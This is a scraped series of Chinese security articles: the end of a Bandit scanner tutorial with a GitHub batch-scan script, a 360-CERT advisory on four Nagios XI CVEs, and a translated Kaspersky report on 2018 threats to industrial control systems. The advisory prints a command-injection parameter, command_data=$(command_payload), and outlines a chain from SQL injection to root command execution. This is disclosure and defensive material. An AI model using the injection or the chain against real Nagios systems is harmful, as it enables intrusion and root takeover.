nosec_lines,
self.metrics,
)
score = res.process(data)
self.results.extend(res.tester.results)
return score
`BanditNodeVisitor`中定义了很多例如`visit_Import`、`visit_ImportFrom`、`visit_Call`、`visit_FunctionDef`等等函数，顾名思义就是对各个类型的AST
Node执行对应的函数
`process`方法中`f_ast = ast.parse(data)`解析源文件为AST抽象语法树
在`generic_visit(f_ast)`方法中遍历AST节点并对其类型进行对应的检测
以我们前面说到的`import`检测为例，这里的检测函数是`visit_Import`
def visit_Import(self, node):
for nodename in node.names:
if nodename.asname:
self.import_aliases[nodename.asname] = nodename.name
self.imports.add(nodename.name)
self.context["module"] = nodename.name
self.update_scores(self.tester.run_tests(self.context, "Import"))
其实就是把import的包名，以及该节点的一些上下文环境提取出来存放在`self.context`中，然后用`tester.run_tests`执行`Import`节点的检查，如果查出问题就保存起来
遍历完所有需要检测的文件中的AST节点后，最后是输出结果
LOG.debug(b_mgr.b_ma)
LOG.debug(b_mgr.metrics)
# trigger output of results by Bandit Manager
sev_level = constants.RANKING[args.severity - 1]
conf_level = constants.RANKING[args.confidence - 1]
b_mgr.output_results(
args.context_lines,
sev_level,
conf_level,
args.output_file,
args.output_format,
args.msg_template,
)
## 检测实战
既然要检测当然考虑到批量的情况，这里给出批量检测github上开源项目代码的相关操作流程
* [Github Search Docs](https://docs.github.com/cn/rest/search)
例如我们想要搜索python编写的cms，会出现下面这些结果，访问链接为：
我们使用官方API进行请求，根据规则编写API访问链接：[https://api.github.com/search/repositories?q=cms+language:python&per_page=10&page=1&sort=updated](https://api.github.com/search/repositories?q=cms+language:python&per_page=10&page=1&sort=updated)
* page： 第几页，从1开始(如果小于1，则默认为第1页)
* per_page : 每页多少个项
我们获取到仓库地址之后下载到本地进行扫描
Github API还有访问速率的限制 [Github Rate Limit
Docs](https://docs.github.com/cn/rest/rate-limit)
对于使用基本身份验证、OAuth 或客户端 ID 和密码的请求，我们每分钟最多可以提出 30 个请求。 对于未经身份验证的请求，速率限制允许您每分钟最多提出
10 个请求，考虑到本地对仓库代码进行解析和漏洞检测也需要时间，我们不进行身份验证，每分钟内完成当页内容的漏洞检测
编写一个调用Github API进行仓库下载，并使用`bandit`检测的脚本如下
import time
import requests
import json
import os
import datetime
import logging
MAX_NUM=2
def getRepItem(keyword,per_page=10):
for i in range(1,MAX_NUM):
starttime = datetime.datetime.now()
url="https://api.github.com/search/repositories?q={}&per_page={}&page={}".format(keyword,per_page,i)
rep=requests.get(url,timeout=5)
items=json.loads(rep.text)['items']
for j in range(len(items)):
rep_url=items[j]['html_url']
cloneRsp(rep_url)
filename=rep_url.split('/')[4]
callBandit(filename)
endtime = datetime.datetime.now()
checkTime((endtime - starttime).seconds)
return
def cloneRsp(url):
logging.info("clone {}".format(url))
os.system('git clone {}'.format(url))
def callBandit(filename):
logging.info("bandit {}".format(filename))
os.system("bandit -r ./{} -f html -o ./{}/scan_{}.html".format(filename,filename,filename))
def checkTime(runtime):
logging.info("runtime is {}".format(runtime))
if runtime<60:
time.sleep(62-int(runtime))
def main():
getRepItem("cms+language:python")
if __name__ == '__main__':
main()
`MAX_NUM`限制爬取的页数，`getRepItem`传入符合搜索语法的关键字
运行之后就会在`clone`的项目文件夹下生成`scan_项目名.html`的漏洞检测报告了
## 参考链接
* <https://ericfu.me/bandit-the-python-static-analyzer/>
* Python脚本的脆弱性检测研究与实现_刘佩瑶
* <https://blog.csdn.net/Next_Second/article/details/78238328> | 社区文章 |
# Nagios XI多个漏洞分析预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： B6-2018-051701
报告来源： 360-CERT
报告作者： 360-CERT
更新日期： 2018-05-17
## 漏洞背景
Nagios Core 是一个开源的系统，也是一个网络监控系统。它可以监视你指定的主机和服务，并在那些设备“变坏”和“变好”的时候通知管理员。Nagios
XI 是一个扩展接口，用来配置管理器和使用Nagios Core作为后端的工具包。Nagios
XI提供了广泛的用户界面，配置编辑器，高级报告，监控向导，可扩展的前端和后端以及Nagios Core上的其他许多附加功能。
4月底，Nagios XI
被爆出存在SQL注入，权限提升，命令注入等多个漏洞。CVE编号分别为CVE-2018-8733，CVE-2018-8734，CVE-2018-8735，CVE-2018-8736。随后漏洞PoC被爆出。
近期，Nagios XI 已发布安全更新，360-CERT对该组漏洞进行深入分析。
## 漏洞细节
**CVE-2018-8733**
漏洞位置：
/nagiosql/admin/settings.php
在GET请求时，会返回一个302的表单，在这里我们可以通过特定的参数来更改数据库用户帐户。
**CVE-2018-8734**
漏洞位置：
/nagiosql/admin/helpedit.php
在进行POST请求的时候，有一个参数，selInfoKey1存在SQL注入。在此我们可以对其进行一定的利用。
**CVE-2018-8735**
漏洞位置：
/nagiosxi/backend/index.php
在对这个表单进行请求的时候，可以通过以下POST参数进行命令注入：
cmd=submitcommand&command=1111&command_data=$(command_payload)
**CVE-2018-8736**
漏洞原因：
nagiosxi用户可以对
/usr/local/nagiosxi/scripts/
进行写入，但是这个目录下的脚本将以root权限进行运行。这里存在导致一个很明显的权限提升漏洞。
## 利用细节
我们现在有4枚漏洞，单独某一个漏洞作用都很有限。但是结合起来便可以造成root权限下的命令执行。
利用的步骤如下：
* 通过CVE-2018-8733将当前的数据库用户更改为root用户，这样就可以获得更大的操作权限
* 使用CVE-2018-8734，对数据库进行SQL注入，得到一枚API密钥。该密钥为认证凭证，我们可以通过该密钥，利用API对Nagios XI进行操作。密钥在数据库中的位置为：nagiosxi.xi_users。
* 使用的到的密钥，利用API进行添加Nagios XI管理员用户，API地址为 /nagiosxi/api/v1/system/user?apikey=
* 在获得Nagios XI管理员身份后。可以利用CVE-2018-8735进行命令注入。
利用命令注入，将Playload写入/usr/local/nagiosxi/scripts/的脚本中，因为该目录下的脚本都是以root权限运行，则注入的命令将获得root权限
## 漏洞影响
该漏洞影响版本为： Nagios XI 5.2.6 – 5.4.12
使用Nagios服务全球分布如下：
暴露在外网的Nagios服务大多分布在欧美国家，中国地区大约有两百多台。Nagios作为运维监控系统，大多搭建在内网中。真实的使用数量会很多。
漏洞利用效果如下：
该组漏洞的PoC已被公布，可进行远程攻击，且利用难度低，危害大。
## 安全建议
360-CERT建议使用Nagios XI的用户，尽快升级到Nagios XI 5.4.13.
## 时间线
**2018-04-30** 漏洞披露及PoC公布
**2018-05-10** Nagios发布安全公告
**2018-05-17** 360-CERT对漏洞进行分析
## 参考链接
1. [https://www.nagios.com/news/2018/05/security-vulnerability-upgrade-to-nagios-xi-5-4-13/?utm_source=dlvr.it&utm_medium=twitter](https://www.nagios.com/news/2018/05/security-vulnerability-upgrade-to-nagios-xi-5-4-13/?utm_source=dlvr.it&utm_medium=twitter)
2. <http://blog.redactedsec.net/exploits/2018/04/26/nagios.html>
3. <https://www.exploit-db.com/exploits/44560/> | 社区文章 |
# 卡巴斯基 – 2018上半年工业自动化系统的威胁报告
|
##### 译文声明
本文是翻译文章，文章原作者 Kaspersky，文章来源：kaspersky.com
原文地址：<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/09/06075839/H1_2018_ICS_REPORT_v1.0_ENG_05092018.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
> 多年来，卡巴斯基实验室的安全专家一直在发现和研究针对各种信息系统的网络威胁 –
> 例如商业和政府组织、银行、电信运营商、工业企业以及个人用户的信息系统。在本报告中，卡巴斯基实验室工业控制系统网络应急响应小组（[卡巴斯基实验室ICS
> CERT](https://ics-cert.kaspersky.com/)）发布了关于2018年上半年工业自动化系统的威胁现状的研究结果。
>
> 本出版物的主要目的是为全球和本地事件响应小组、企业信息安全人员和工业设施安全领域的研究人员提供信息支持。
## 一、2018 年上半年的重大事件
### 1.1、工业解决方案中的幽灵和熔毁漏洞
2018年初，研究人员在英特尔、ARM64和AMD的处理器中发现了允许未授权访问虚拟内存内容的漏洞。利用这些漏洞的攻击分别被称为[Meltdown（熔毁）和Spectre（幽灵）](https://spectreattack.com/)。
这些问题与以下三个漏洞有关：
· 边界检查绕过（CVE-2017-5753/幽灵）；
· 分支目标注入（CVE-2017-5715/幽灵）；
· 恶意数据缓存加载（CVE-2017-5754/熔毁）。
虽然幽灵和熔毁攻击都允许用户级别的应用程序获取其他程序的数据，但熔毁攻击还允许读取内核内存。
该问题影响了许多使用易受攻击的微处理器的计算机、服务器和移动设备，不论它们是运行Windows、macOS、Linux、Android、iOS还是Chrome
OS。基于易受攻击的处理器的工业设备（例如SCADA服务器）、工业计算机和网络设备 – [也被证明易受熔毁和幽灵攻击的影响](https://ics-cert.us-cert.gov/alerts/ICS-ALERT-18-011-01)。
思科是最早[报告](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180104-cpusidechannel)其产品受漏洞影响的公司之一。受影响的设备包括思科800系列集成多业务路由器和工业以太网4000系列交换机。
[其它](https://ics-cert.us-cert.gov/alerts/ICS-ALERT-18-011-01)供应商随后也发布了关于熔毁和幽灵漏洞对其产品的影响的通知。
[菲尼克斯电气通知其客户称](https://cert.vde.com/en-us/advisories/vde-2018-003)数十个产品，包括控制系统、工业计算机和HMI等都易受熔毁和幽灵攻击。
[横河电机易受攻击的产品](https://www.yokogawa.com/solutions/products-platforms/announcements/important-notice/cpu-vulnerability/)包括CENTUM VP/CS
3000现场控制站（FCS）和ProSafe-RS安全控制站（SCS）。
熔毁和幽灵也[影响](https://cert-portal.siemens.com/productcert/pdf/ssa-168644.pdf)了西门子的工业设备：RUGGEDCOM
APE和RX1400 VPE设备、SIMATIC HMI精智系列面板、SIMATIC IPC工业计算机以及SIMATIC S7-1500软件控制器PLC等。
除了有关熔毁和幽灵的信息外，西门子还[报告](https://cert-portal.siemens.com/productcert/pdf/ssb-068644.pdf)称其解决方案还受到之后2018年5月发现的一类被称为[SpectreNG（下一代幽灵）](https://www.heise.de/ct/artikel/Exclusive-Spectre-NG-Multiple-new-Intel-CPU-flaws-revealed-several-serious-4040648.html)漏洞的影响。
其它供应商，包括[施耐德电气](https://www.schneider-electric.com/en/download/document/SEVD-2018-005-01/)、[ABB](http://search-ext.abb.com/library/Download.aspx?DocumentID=9AKK107045A8219&LanguageCode=en&DocumentPartId&Action=Launch)和[OSIsoft](https://techsupport.osisoft.com/Troubleshooting/Alerts/AL00333)，也发布了使用易受攻击的处理器的产品的相关信息。
### 1.2、活力熊/蹲伏雪人：针对服务器的攻击
2018年2月，卡巴斯基实验室ICS CERT发布了一份关于臭名昭著的APT组织Energetic Bear/Crouching
Yeti（[活力熊/蹲伏雪人](https://securelist.com/files/2014/07/EB-YetiJuly2014-Public.pdf)）的初始感染策略的[调查报告](https://ics-cert.kaspersky.com/reports/2018/04/23/energetic-bear-crouching-yeti-attacks-on-servers/)。基于目标服务器所有者提供的信息，该报告还对该组织在2016年和2017年初渗透的数个网络服务器进行了分析。
活力熊/蹲伏雪人至少自2010年以来一直活跃，主要针对多个国家的企业和个人。CrowdStrike的安全专家首次指出该组织对能源和工业行业具有强烈的兴趣，这可能解释了活力熊名字的由来。后来，该组织攻击的多样性变得更加明确，卡巴斯基实验室的研究人员将其[命名为蹲伏雪人](https://securelist.com/energetic-bear-more-like-a-crouching-yeti/65240/)。该组织的攻击目标主要集中在欧洲和美国，最近对土耳其企业的攻击数量大幅增长。根据[US-CERT](https://www.us-cert.gov/ncas/alerts/TA18-074A)和[英国国家网络安全中心](https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control)，APT组织活力熊/蹲伏雪人与俄罗斯政府有关。
该组织的初始感染策略是一个多步骤的过程，首先通过发送携带恶意文档的钓鱼邮件感染不同的服务器。一部分被感染的服务器被该组织用作辅助设备 –
只用于托管工具。其它的则被用于发起水坑攻击 – 一些服务器托管了指向其它服务器的SMB链接，用于窃取潜在受害者的身份验证数据。
除了极少数例外情况，活力熊/蹲伏雪人通常使用公开的工具进行攻击。卡巴斯基实验室ICS
CERT的专家发现的所有工具样本都可在GitHub上免费获得开源代码。在没有额外的组织“标记”的情况下，这使得对攻击进行归因的任务变得十分困难。
卡巴斯基实验室ICS CERT观察到的大多数情况中，攻击者都执行以下任务：识别漏洞，在不同节点上获得持久性并窃取身份验证数据以进行下一步攻击。
对被入侵的服务器的分析表明，对于活力熊/蹲伏雪人而言，网络上的几乎任何易受攻击的服务器都被看作是用于发起针对性攻击的潜在立足点。
对这些攻击的初始、中间和后续目标的调查还揭示了其地理分布的多样性。受害者和目标数量最多的是俄罗斯，其次是土耳其和乌克兰。遭受攻击的系统中，约有不到一半与工业、农业服务业和公用事业有关。
### 1.3、工业网络中的恶意矿工
2018年2月，一些媒体报道称部分工业企业感染了包含加密货币挖矿功能的恶意软件。
在[欧洲的一家污水处理厂](http://www.securityweek.com/cryptocurrency-mining-malware-hits-monitoring-systems-european-water-utility)，四台运行Windows XP的服务器和来自GE
Digital公司的CIMPLICITY SCADA软件遭到感染。恶意软件使得用于监控工业流程的HMI和SCADA服务器的速度下降。
[特斯拉的云服务器也遭到入侵](https://www.bleepingcomputer.com/news/security/tesla-internal-servers-infected-with-cryptocurrency-miner/)，他们的计算资源被用来挖掘门罗币（Monero）。犯罪分子攻击了该电动汽车厂商基础设施的Kubernetes框架，并通过植入恶意软件来挖矿。
根据卡巴斯基实验室ICS CERT，这些广为人知的事件并非孤立事件，它们映射出一个令人担忧的整体趋势。
自2018年4月以来，卡巴斯基实验室一直在使用更准确的verdicts（用于判断病毒的特征）来收集恶意矿工的统计数据。现在还包含以前被检测为木马的恶意矿工。
结果就是，我们的统计数据表明遭受恶意挖矿软件攻击的ICS计算机的比例自4月份以来急剧增长，在2018年上半年达到了6% –
比2017年下半年增长了4.2个百分点。
遭受恶意挖矿软件攻击的ICS计算机的比例
恶意挖矿软件造成的主要问题是工业信息系统的负载增加。这对许多工业自动化系统来说是不可接受的，因为可能导致工业运营的不稳定和工业流程的控制水平降低。
### 1.4、针对思科交换机的大规模攻击影响了关键基础设施
4月6日研究人员检测到针对思科IOS交换机的攻击活动，影响了全球范围内的ISP、数据中心和网站的运营。
攻击者利用了思科智能安装客户端中的漏洞（[CVE-2018-0171](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2)）。根据思科Talos研究团队，全世界范围内的[超过16.8万台设备](https://blog.talosintelligence.com/2018/04/critical-infrastructure-at-risk.html)存在风险。
该攻击使用一个专门的[僵尸程序](https://www.kaspersky.com/blog/cisco-apocalypse/21966/)来检测易受攻击的设备、替换交换机上的思科IOS镜像并修改配置文件，使得交换机变得不可用。
该攻击活动主要针对[俄罗斯和伊朗的组织](https://motherboard.vice.com/en_us/article/a3yn38/election-hacking-vigilante-russia-iran-cisco)。根据思科Talos团队的说法，目标企业包括[关键的基础设施](http://blog.talosintelligence.com/2018/04/critical-infrastructure-at-risk.html)。
### 1.5、可监控SCADA协议的新恶意软件VPNFilter
2018年5月，研究人员发现一个[新的恶意软件VPNFilter](https://blog.talosintelligence.com/2018/05/VPNFilter.html)。该恶意软件至少[感染](https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware?_gclid=5b07db064c6de1.45807734-5b07db064c6e35.85768269&_utm_source=xakep&_utm_campaign=mention170196&_utm_medium=inline&_utm_content=lnk499744812840)了54个国家的50万台路由器和NAS设备。
VPNFilter具有复杂的模块化架构，其通过组件来实现各种功能，包括收集网络流量和数据、执行命令和控制设备、拦截数据包、监控Modbus协议以及通过匿名Tor网络与命令服务器通信。
该恶意软件利用多个已知漏洞来感染设备，但其感染向量尚不清楚。在感染期间，该恶意软件将安装一个组件，该组件在重新启动后仍然存在，并且能够下载其它恶意模块。
这就是信息安全社区需要密切关注VPNFilter的原因，该恶意软件可以窃取凭据、检测工业SCADA设备并利用僵尸网络中的受感染设备执行多种攻击。
### 1.6、针对卫星系统的攻击
2018年6月，研究人员发现来自中国计算机的[大规模网络攻击](https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets)，主要针对美国和东南亚国家的电信运营商、卫星通信运营商以及国防承包商。
攻击期间，犯罪分子入侵了用于控制通信卫星和收集地理定位数据的计算机。安全专家认为，该攻击背后的动机是监视和拦截来自民用和军用通信频道的数据。像这样的攻击可能会导致卫星轨道位置的未授权更改和通信中断。
检测到的恶意软件包括木马Rikamanu和Syndicasec、用于窃取数据的程序Catchamas、键盘记录器Mycicil以及后门Spedear。
攻击者使用合法的软件和管理工具来实施感染，包括PsExec、Mimikatz、WinSCP和LogMeIn。通过使用这些工具，攻击者可以隐藏他们的活动并且使得自己难以被发现。
### 1.7、重要研究：恶意软件Triton的技术细节
去年12月恶意软件Triton导致一家[企业](https://ics-cert.kaspersky.com/news/2017/12/18/triton/)的紧急保护系统出现故障。在2018年上半年的结尾，研究人员披露了该恶意软件的更多[细节](https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-triton-and-tristation.html)。
Triton专门用于干扰施耐德电气的Triconex安全仪表系统（SIS）。众所周知，在编程环境TriStation
1131中可通过未公开的专有网络协议TriStation与Triconex进行远程交互。
对该恶意软件的分析表明，Triton程序中的特定字符串与TriStation程序文件tr1com40.dll中的特定字符串具有很强的匹配性（例如TriStation协议命令的助记符名称）。从各方面可以得出结论，为了实现与Triconex的网络通信，Triton开发者逆向了TriStation
1131中的可执行文件。
### 1.8、物联网僵尸网络的活动
自今年年初以来，由物联网设备组成的新僵尸网络的数量不断增加，这证实了安全专家对2018年物联网僵尸网络数量显著增加的[预测](https://ics-cert.kaspersky.com/reports/2017/11/30/industrial-enterprise-and-iot-security-threats-forecast-for-2018/)。
物联网安全方面最重大的事件是新的僵尸网络[“捉迷藏 ”（HNS）](https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/)的出现，以及Mirai（未来）的新变体[OMG](https://ics-cert.kaspersky.com/news/2018/02/27/omg/)和[WICKED](https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html)。
这些僵尸网络仍主要由未受保护的IP摄像机和路由器组成。然而，攻击者也已开始针对其它类型的“智能”设备。例如，2018年4月，[一个新的僵尸网络](https://www.recordedfuture.com/mirai-botnet-iot/)还包含了连接互联网的电视。该僵尸网络被用于实施针对金融机构的DDoS攻击。
随着针对物联网的恶意软件的快速发展，关于自动搜索和破解易受攻击的物联网设备的公开[工具](https://github.com/NullArray/AutoSploit)的新闻尤为重要。在公共领域发布此类程序可能会大大增加通过物联网设备攻击计算机系统和网络的犯罪分子的数量。
### 1.9、勒索软件攻击
尽管[全球遭受勒索软件攻击的用户数量正在下降](https://securelist.com/ransomware-and-malicious-crypto-miners-in-2016-2018/86238/)，但遭受勒索软件攻击的ICS计算机的比例从1.2％上升到1.6％。
尽管这一变化看起来不大，但它给工业企业带来的危险却不可低估（Wannacry和ExPetr有例在先）。
今年上半年，发生了一起针对医疗机构的勒索软件感染/敲诈的严重事件。根据[媒体报道](https://72.ru/text/incident/65119911/)，俄罗斯秋明市的联邦神经外科中心遭到攻击，犯罪分子入侵了托管MEDIALOG医疗信息系统的服务器。该系统的数据库包含病人的医疗图像、测试结果和其它医疗信息等。
该MEDIALOG系统不可用时，一位13岁的小姑娘正准备做一台脑部急诊手术。幸运的是，外科医生在无法访问重要的医疗信息的情况下仍然成功完成了手术。后来才得知该手术所需的相关文件被恶意软件加密了。
秋明市的神经外科中心不是这一系列攻击的唯一受害者。犯罪分子有意针对医疗机构，并只加密服务器上的关键文件。这表明他们有意对医疗机构的业务流程造成尽可能大的损害。
犯罪分子不仅会导致医疗机构的计算机系统不可用，还会对病人的治疗造成直接的影响。这一系列攻击就是一个生动的例子。
### 1.10、利用RAT攻击工业企业
#### 基于RMS和TeamViewer的钓鱼攻击
卡巴斯基实验室ICS CERT报告了主要针对俄罗斯工业企业的[另一波钓鱼邮件攻击](https://ics-cert.kaspersky.com/reports/2018/08/01/attacks-on-industrial-enterprises-using-rms-and-teamviewer/)。攻击者通过恶意软件安装了合法的远程管理软件（TeamViewer/RMS），用于远程控制目标系统。攻击者还使用了多种技术来掩盖未授权软件的踪迹和活动。
当攻击者需要在目标网络中横向移动时，他们将下载一些其它的恶意软件，包括间谍软件、其它远程管理工具、系统漏洞和软件漏洞的利用工具以及用于获取Windows账户密码的工具Mimikatz等。根据不同的受害者来选择不同的恶意软件。
钓鱼邮件通常模仿合法的商业报价，每一封邮件的内容都与目标企业的业务以及目标员工的工作类型有关。现有信息表明攻击者的主要目的是窃取目标企业的资金。当然，除了经济损失之外，这些攻击也会导致机密数据的泄露。
卡巴斯基实验室ICS CERT的报告在8月初发布，但这一系列攻击最早可追溯至2017年11月。
#### 利用RAT攻击工业网络
卡巴斯基实验室的产品阻止了针对一家汽车制造商和服务公司的工业网络的多次攻击。具体来说，是针对用于诊断卡车和重型汽车的引擎和车载系统的计算机的攻击。
该公司工业网络中的至少一台计算机感染了RAT。几个月内，卡巴斯基的产品在该计算机上阻止了多次恶意软件感染企图，包括被检测为Net-Worm.Win32.Agent.pm的蠕虫变体。一旦攻击成功，该蠕虫将在本地网络内利用MS17-010漏洞（2017年春季ShadowBrokers发布的永恒之蓝漏洞，臭名昭著的勒索软件WannaCry和ExPetr就利用了该漏洞）迅速传播。
被阻止的恶意软件还包括恶意软件家族Trojan-Downloader.Nymaim。该恶意软件常被用于下载僵尸网络Necus的代理，而Necus又常被用于分发勒索软件家族Locky。
由于该RAT频繁地企图加载恶意软件，我们认为该RAT的身份验证数据已泄露，并被攻击者用来针对该企业的计算机。
在ICS计算机上安装RAT程序有时是必要的，但如果它们被犯罪分子所掌控或利用，就会变得十分危险。我们对这一问题进行了专门的调查，并将很快发布相关结果。
## 二、威胁统计
本报告中使用的所有统计数据均通过分布式反病毒网络[KSN](https://kas.pr/Gzu1)收集得来。数据的收集是匿名的，并已获得相关用户的同意。基于产品限制和严格的监管，我们不会收集这些发送了数据的相关企业的身份信息。
### 2.1、研究方法
卡巴斯基实验室ICS
CERT将ICS计算机归类为企业中的工业基础设施。相关统计数据从这一类别的计算机上收集得来。这些计算机包括运行以下功能的Windows计算机：
· 数据采集与监控服务器（SCADA）；
· 数据存储服务器（Historian）；
· 数据网关（OPC）；
· 工程师和操作员的固定工作站；
· 工程师和操作员的移动工作站；
· 人机界面（HMI）。
还包括从工控网络管理员以及工业自动化系统开发人员的计算机上收集到的数据。
在本报告中，遭受攻击的计算机是指在报告期间我们的安全解决方案至少被触发一次的计算机。遭受攻击的计算机的比例是指遭受攻击的计算机（去重）占所有样本计算机（在报告期间向我们发送了匿名数据的计算机）的比例。
通常情况下，由于工业网络的限制，ICS服务器和工程师/操作员的固定工作站不是24小时联网的。这类计算机可能只在，例如维护期间，才能联网。
系统/网络管理员、工程师、工业自动化系统的开发人员和集成人员的工作站可能会经常联网，甚至可能是24小时联网。
因此，2018年上半年我们的样本计算机中约有42%的计算机是定期或全天联网的。其余机器的联网时间不超过一个月，其中很多是远远少于这个时间的。
### 2.2、遭受攻击的ICS计算机比例
2018年上半年遭受攻击的ICS计算机的比例与2017年下半年相比上升了3.5个百分点，达到了41.2%。同比增长则是4.6个百分点。
遭受攻击的ICS计算机比例
遭受攻击的ICS计算机的比例上升的原因主要是恶意攻击活动的整体上升。
### 2.3、地理分布
2018年上半年针对工业自动化系统的攻击活动的地理分布，按每个国家/地区遭受攻击的ICS计算机的比例划分
2018年上半年遭受攻击的ICS计算机比例最高的国家/地区（Top20）
2018年上半年遭受攻击的ICS计算机比例最低的国家/地区（Top10）
全球不同地区遭受攻击的ICS计算机的比例在2017年下半年和2018年上半年的对比
全球不同地区数字的对比表明：
· 非洲、亚洲和拉丁美洲遭受攻击的ICS计算机比例要远高于欧洲、北美和澳大利亚；
· 东欧的数字远大于西欧；
· 南欧遭受攻击的ICS计算机比例高于北欧和西欧。
我们推测这一情况的原因与企业对基础设施防护解决方案的资金投入有关。[根据IDC的数据](https://www.helpnetsecurity.com/2017/03/31/spending-security-technology-2017/)，从地理分布来看，2017年信息安全产品的最大市场是美国和西欧。
即使是在同一地理区域内，不同国家的数字也可能相差很大。例如，与大多数非洲国家相比，南非的情况最好；而在中东地区，以色列和科威特明显比其它国家要强。
### 2.4、影响ICS计算机安全性的因素
正如我们所看到的，全世界范围内的不同国家在遭受攻击的ICS计算机比例方面差异很大，从14%到75%。我们认为这种实质性的差异可能与不同国家的总体发展水平、网络安全水平的差异以及不同国家恶意活动的活跃度有关。
值得注意的是，根据我们的数据，所有遭受攻击的ICS计算机比例极低的国家，都被[IMF（国际货币基金组织）列为](https://www.imf.org/en/Publications/WEO/Issues/2018/03/20/world-economic-outlook-april-2018)发达经济体。此外，遭受攻击的ICS计算机比例最低的10个国家中有6个在[ITU（国际电信联盟）编制的2017全球网络安全指数](https://www.itu.int/dms_pub/itu-d/opb/str/D-STR-GCI.01-2017-R1-PDF-E.pdf)中排在前20，包括美国、英国、荷兰、瑞典、瑞士和以色列。
将每个国家的遭受攻击的ICS计算机的比例与该国家的人均GDP排名进行对比分析，我们发现这两个参数之间存在高度正相关性（多重相关系数R=0.84，显著性系数P<0.001）。除去一些特例之外，具有高人均GDP水平的国家（即排名较高的国家）遭受攻击的ICS计算机比例要低于低人均GDP的国家。
不同国家遭受攻击的ICS计算机的比例（X轴）与该国家的人均GDP排名（Y轴）
2017年遭受攻击的ICS计算机比例最高的10个国家中，有7个国家的人均GDP水平不在[前100名](https://data.worldbank.org/indicator/NY.GDP.PCAP.CD?year_high_desc=true)之内。
发展中国家的遭受攻击的ICS计算机比例较高可能与这些国家的工业部门发展时间相对较短有关。众所周知，在设计和调试工业设施时，通常主要关注其运营的经济效益和工业流程的物理安全，而信息安全的优先级较低。
上图中我们标注的几个例子可能表明部分国家在利用资源保护其工业资产方面效率更高（虚线以上）或更低（虚线以下）。
为了评估不同国家的恶意活动水平，我们计算了每个国家遭受攻击的所有计算机（包括家庭、企业和ICS计算机）的比例。我们发现一个国家遭受攻击的ICS计算机比例与该国家的恶意活动水平（以遭受攻击的所有计算机的比例来衡量）之间存在高度正相关性（多重相关系数R=0.89，显著性系数P<0.001）。
2018年上半年，不同国家遭受攻击的所有计算机的比例（X轴）与遭受攻击的ICS计算机比例（Y轴）
这些数据符合以下假设：工业网络基础设施中连接到公司网络和/或连接到互联网（即使是偶尔连接）的计算机，大多数情况下也会受到恶意软件攻击的影响，其程度与该国家的传统网络攻击目标（例如企业和个人的办公计算机）相同。
2018年上半年，不同国家遭受攻击的所有计算机比例与该国家遭受攻击的ICS计算机比例
值得注意的是，2018年前六个月至少一半的ICS计算机遭受攻击的国家中（排名前二十），几乎所有国家的工业网络基础设施计算机遭受攻击的比例都要高于这些国家的整体恶意活动水平。基于以下事实，这一情况尤其令人不安：[根据世界银行和经济合作与发展组织的数据](https://data.worldbank.org/indicator/NV.IND.TOTL.CD?year_high_desc=true)，列表中的八个国家
– 包括印度尼西亚、中国、印度、伊朗、沙特阿拉伯、墨西哥、菲律宾和马来西亚 – 都是2017年工业产值排名前30的国家。
### 2.5、主要感染源
企业的工业网络基础设施计算机的主要感染源是互联网、可移动媒体和电子邮件。
在过去几年中，互联网成为企业工业网络计算机的主要感染源。此外，我们还观察到尝试通过浏览器打开钓鱼邮件附件并访问已知恶意网站和下载恶意软件的ICS计算机比例的上升。
在一年前的2017年上半年，根据我们收集到的匿名统计数据，互联网是20.6%的ICS计算机威胁的主要来源。在2018年上半年这一数字已经增加到了27.3%。
ICS计算机上的主要威胁来源（以半年为统计周期，统计遭受攻击的ICS计算机比例）
上图中的分布符合逻辑：现代工业网络几乎不可能与外部系统隔离开来。现今，工业网络和企业网络之间的交互是不可或缺的，不仅对工业流程控制而言是这样，而且对工业网络和系统的管理来说也是如此。从工业网络访问互联网的能力可能是必须的
–
例如，第三方承包商的员工可能需要为工业自动化系统提供维护和技术支持。承包商、开发人员、集成人员以及系统和网络管理员的计算机通常从外部（直接或远程）连接客户企业的工业网络，而它们又可以不受限制地访问互联网，这有可能成为恶意软件感染工业网络的渠道之一。另一个类似的渠道是，工业网络中的计算机可能通过手机运营商的网络连接互联网（通过连接手机设备、USB调制解调器和/或支持3G/LTE的无线路由）。因此工业网络感染的第二大和第三大主要来源分别是可移动媒体和电子邮件客户端。在2018年上半年，上述感染源的数字几乎没有发生大的变化。
其它感染源的贡献基本都不超过1%，并且在2018年的前六个月保持这一趋势。
ICS计算机上的次要威胁来源（以半年为统计周期，统计遭受攻击的ICS计算机比例）
### 2.6、ICS计算机主要感染源的区域分布
2018年上半年ICS计算机的主要威胁来源的区域分布
#### 互联网
由于互联网是ICS计算机的主要威胁来源，因此与所有遭受攻击的ICS计算机的情况一样，不同国家的遭受互联网威胁攻击的ICS计算机比例与人均GDP水平呈现相关性（多重相关系数R=0.82，显著性系数P<0.001）。
不同国家的人均GDP排名（X轴）与该国家遭受互联网威胁攻击的ICS计算机比例（Y轴）
2018年上半年遭受互联网威胁攻击的ICS计算机比例排名前15的国家
#### 可移动媒体
通过可移动媒体传播的威胁的情况与互联网威胁类似（除了一些例外情况）：人均GDP水平较低的国家，其遭受可移动媒体威胁攻击的ICS计算机比例通常较高（多重相关系数R=0.82，P<0.001）。
不同国家的人均GDP排名（X轴）与该国家遭受可移动媒体威胁攻击的ICS计算机比例（Y轴）
遭受可移动媒体威胁攻击的ICS计算机比例的区域排名
遭受可移动媒体威胁攻击的ICS计算机比例最高的区域是非洲、中东和东南亚。这可能意味着在这些地区可移动媒体常被用于在ICS计算机之间传输数据。此外，这还可能与这些地区的网络威胁的整体水平相对较低有关。另一方面，这一比例最低的区域是西欧和北美。我们认为其原因是这些地区的整体安全防御水平相对较高，以及对可移动媒体的使用较少。
2018年上半年遭受可移动媒体威胁攻击的ICS计算机比例排名前15的国家/地区
#### 电子邮件客户端
